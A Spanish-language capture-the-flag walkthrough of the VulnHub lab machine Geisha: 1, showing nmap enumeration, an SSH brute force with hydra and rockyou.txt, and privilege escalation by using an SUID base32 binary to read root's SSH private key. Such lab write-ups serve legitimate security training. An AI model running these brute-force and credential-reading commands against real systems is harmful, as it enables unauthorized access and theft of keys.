En este post voy a vulnerar la máquina Geisha: 1 de VulnHub. Es una máquina Linux, de nivel fácil para VulnHub y Proving Grounds, basada en fuerza bruta y una encriptación muy simple pero realmente sencilla de resolver.
Enumeración
Comienzo averiguando la IP que ha tomado la máquina con netdiscover.
sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 192.168.71.160

En la máquina hay siete puertos abiertos. Escaneo los puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p21,22,80,7080,7125,8088,9198 -sCV 192.168.71.160 Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-16 14:37 CEST Nmap scan report for 192.168.71.160 Host is up (0.00040s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 1b:f2:5d:cd:89:13:f2:49:00:9f:8c:f9:eb:a2:a2:0c (RSA) | 256 31:5a:65:2e:ab:0f:59:ab:e0:33:3a:0c:fc:49:e0:5f (ECDSA) |_ 256 c6:a7:35:14:96:13:f8:de:1e:e2:bc:e7:c7:66:8b:ac (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Geisha 7080/tcp open ssl/http LiteSpeed httpd |_http-server-header: LiteSpeed |_http-title: Geisha | ssl-cert: Subject: commonName=geisha/organizationName=webadmin/countryName=US | Not valid before: 2020-05-09T14:01:34 |_Not valid after: 2022-05-09T14:01:34 |_ssl-date: 2022-05-16T12:37:48+00:00; 0s from scanner time. | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 7125/tcp open http nginx 1.17.10 |_http-server-header: nginx/1.17.10 |_http-title: Geisha 8088/tcp open http LiteSpeed httpd |_http-server-header: LiteSpeed |_http-title: Geisha 9198/tcp open http SimpleHTTPServer 0.6 (Python 2.7.16) |_http-server-header: SimpleHTTP/0.6 Python/2.7.16 |_http-title: Geisha Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Después de un rato enumerando, veo que se repite mucho la palabra geisha, así que me la guardo como usuario.
Explotación
Hago un ataque por fuerza bruta al ssh con hydra utilizando geisha como usuario y el diccionario rockyou.txt para buscar contraseñas.
hydra -l geisha -P /usr/share/wordlists/rockyou.txt -s 22 192.168.71.160 ssh -V -f

Después de un unos minutos, encuentra las credenciales geisha:letmein.

Utilizo las credenciales geisha:letmein para conectarme por ssh.
ssh geisha@192.168.71.160

Escalada de Privilegios
Ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que la máquina tiene el bit SUID habilitado para el binario /usr/bin/base32.

A priori esto parece no aportarme mucho pero recuerdo la típica prueba de pasar una vulnerabilidad LFI a RCE y como uno de los principales vectores de ataque es mirar intentar conseguir la clave privada de ssh. Hago una primera prueba intentando acceder al id_rsa de root.
base32 '/root/.ssh/id_rsa'

Como parece que he podido acceder al fichero, voy a repetir la ejecución pero esta vez decodificaré la salida y puedo comprobar que he conseguido la clave privada de root.
base32 '/root/.ssh/id_rsa' | base32 -d

Copio la clave privada, le doy los permisos necesarios y la utilizo para conectarme por ssh con el usuario root.
chmod 600 id_rsa ssh -i id_rsa root@192.168.71.160

La flag de root la encuentro en /root/root.txt.

